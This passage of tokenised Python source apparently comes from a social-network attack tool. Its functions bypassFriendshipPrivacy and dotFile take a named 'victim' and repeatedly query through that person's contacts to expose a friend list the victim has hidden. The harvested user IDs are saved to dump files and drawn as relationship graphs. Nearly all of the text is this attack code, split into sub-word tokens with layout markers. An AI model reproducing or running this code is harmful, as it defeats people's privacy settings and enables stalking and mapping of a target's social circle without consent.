" ", "every", " ", "single", " ", "value", " ", "of", " ", "friends", "hip", "s", " ", "list", " ", "alr", "ed", "y", " ", "analyze", "d", " ", "for", " ", "non", " ", "repe", "titi", "vne", "ss_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Check", " ", "if", " ", "the", " ", "file", " ", "exist", "s", ",", " ", "if", " ", "true", " ", "append", ",", " ", "else", " ", "create", " ", "and", " ", "writes", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "ab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "user", "ID", " ", "for", " ", "fur", "ther", " ", "analy", "zi", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "friends_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "friends_", "]_", "=_", "transiti", "vo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "col", "ecc", "ion_", "[_", "friends_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "edge_", "(_", "victim", "a_", ",_", "transiti", "vo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "write_", "(_", "str_", "(_", "friends_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mkdir_", "(_", "'", "object", "s", "'_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", "=_", "nx_", "._", "adj", "\\u", "matrix_", "(_", "my", "Graph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save", "Objects_", "(_", "victim", "_", ",_", "A_", ",_", "col", "ecc", "ion_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nx_", "._", "draw", "\\u", "spring", "_", "(_", "my", "Graph_", ",_", "node", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "my", "Graph_", "._", "nodes_", "(_", ")_", ")_", ")_", ",_", "edge", "\\u", "color_", "=_", "np_", "._", "linspace_", "(_", "0_", ",_", "1_", ",_", "len_", "(_", "my", "Graph_", "._", "edges_", "(_", ")_", ")_", ")_", ",_", "with", "\\u", "labels_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "\\u", "color", ".", "pdf", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "savefig_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "\\u", "color", ".", "png", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "write", "\\u", "dot_", "(_", "my", "Graph_", ",_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"", "graph", "\\u", "color", ".", "dot", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plt_", "._", "show_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bypass", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Disc", "los", "ude", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "friends", "hip", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Al", "read", "y", " ", "visit", "ed", " ", "nodes", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "visited_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "alr", "ead", "y", " ", "exist", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Read", "s", " ", "every", " ", "line", " ", "of", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "friends", "hip", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "e", " ", "in", " ", "the", " ", "visit", "ed", " ", "array", " ", "for", " ", "non", " ", "repetition", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\\\\", "r", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "doe", "s", " ", "not", " ", "exist", "s", ",", " ", "create", "s", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Generate", "s", " ", "the", " ", "first", " ", "level", " ", "of", " ", "the", " ", "search_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "\\\\", "r", "'_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "indiv", "id", "uo", "s_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "indiv", "id", "uo", "s_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "s_", "._", "append_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Counter", " ", "for", " ", "percentage", " ", "calcul", "us", " ", "purpose", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "For", " ", "every", " ", "value", " ", "in", " ", "the", " ", "first", " ", "discl", "ose", "d", " ", "list", ",", " ", "repeat", "s", " ", "unti", "l", " ", "every", " ", "value", " ", "has", " ", "bee", "n", " ", "try", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "calcul", "us", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "friends", "hip", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "len_", "(_", "friends", "hip", "s_", ")_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "node", " ", "was", "n", "'", "t", " ", "visit", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "if_", "friends_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "core", "Friends", "hip", "Priva", "cy", "()", " ", "fail", "s", ",", " ", "an", " ", "exception", " ", "is", " ", "cau", "ght", ".", " ", "There", "fore", ",", " ", "state", " ", "wis", " ", "still", " ", "bei", "ng", " ", "Tru", "e", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "try", " ", "pass", "es", ",", " ", "the", " ", "infini", "te", " ", "whi", "le", " ", "will", " ", "end", ".", " ", "(", "For", " ", "interne", "t", " ", "error", " ", "connecti", "on", " ", "problem", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "state_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Signal", " ", "Cau", "ght", " ", "handler", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", "\\\\", "r", "'_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "element_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "element_", "not_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "friends", "hip", "s_", "._", "append_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "single", " ", "value", " ", "of", " ", "friends", "hip", "s", " ", "list", " ", "alr", "ed", "y", " ", "analyze", "d", " ", "for", " ", "non", " ", "repe", "titi", "vne", "ss_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Check", " ", "if", " ", "the", " ", "file", " ", "exist", "s", ",", " ", "if", " ", "true", " ", "append", ",", " ", "else", " ", "create", " ", "and", " ", "writes", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "ab", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "\"", "dump", "s", "\"_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "every", " ", "user", "ID", " ", "for", " ", "fur", "ther", " ", "analy", "zi", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "._", "write_", "(_", "str_", "(_", "friends_", ")_", "+_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "File_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "str_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mkdir_", "(_", "directory_", ",_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "my", "Graph_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\"\\u", "dot", ".", "dot", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", "Graph", " ", "{\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Disc", "los", "ude", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "friends", "hip", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Al", "read", "y", " ", "visit", "ed", " ", "nodes", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "visited_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "alr", "ead", "y", " ", "exist", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Read", "s", " ", "every", " ", "line", " ", "of", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "friends", "hip", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "e", " ", "in", " ", "the", " ", "visit", "ed", " ", "array", " ", "for", " ", "non", " ", "repetition", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\\\\", "r", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "doe", "s", " ", "not", " ", "exist", "s", ",", " ", "create", "s", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Generate", "s", " ", "the", " ", "first", " ", "level", " ", "of", " ", "the", " ", "search_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "transiti", "vo_", "=_", "get", "Name_", "(_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "indiv", "id", "uo", "s_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "indiv", "id", "uo", "s_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "chab", "on_", "=_", "get", "Name_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "write_", "(_", "'", " ", " ", " ", " ", "\"'_", "+_", "transiti", "vo_", "+_", "'\"", " ", "->", " ", "\"'_", "+_", "chab", "on_", "+_", "'\"", ";\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "get", "User", "ID_", "(_", "transiti", "ve_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Counter", " ", "for", " ", "percentage", " ", "calcul", "us", " ", "purpose", " _", "\\u\\u\\uNL\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "For", " ", "every", " ", "value", " ", "in", " ", "the", " ", "first", " ", "discl", "ose", "d", " ", "list", ",", " ", "repeat", "s", " ", "unti", "l", " ", "every", " ", "value", " ", "has", " ", "bee", "n", " ", "trie", "d", " _", "\\u\\u\\uNL\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "calcul", "us", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "friends", "hip", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "len_", "(_", "friends", "hip", "s_", ")_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "node", " ", "was", "n", "'", "t", " ", "visit", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "if_", "friends_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "core", "Friends", "hip", "Priva", "cy", "()", " ", "fail", "s", ",", " ", "an", " ", "exception", " ", "is", " ", "cau", "ght", ".", " ", "There", "fore", ",", " ", "state", " ", "will", " ", "still", " ", "be", " ", "Tru", "e", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "try", " ", "pass", "es", ",", " ", "the", " ", "infini", "te", " ", "whi", "le", " ", "will", " ", "end", ".", " ", "(", "For", " ", "interne", "t", " ", "error", " ", "connecti", "on", " ", "problem", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "state_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Signal", " ", "Cau", "ght", " 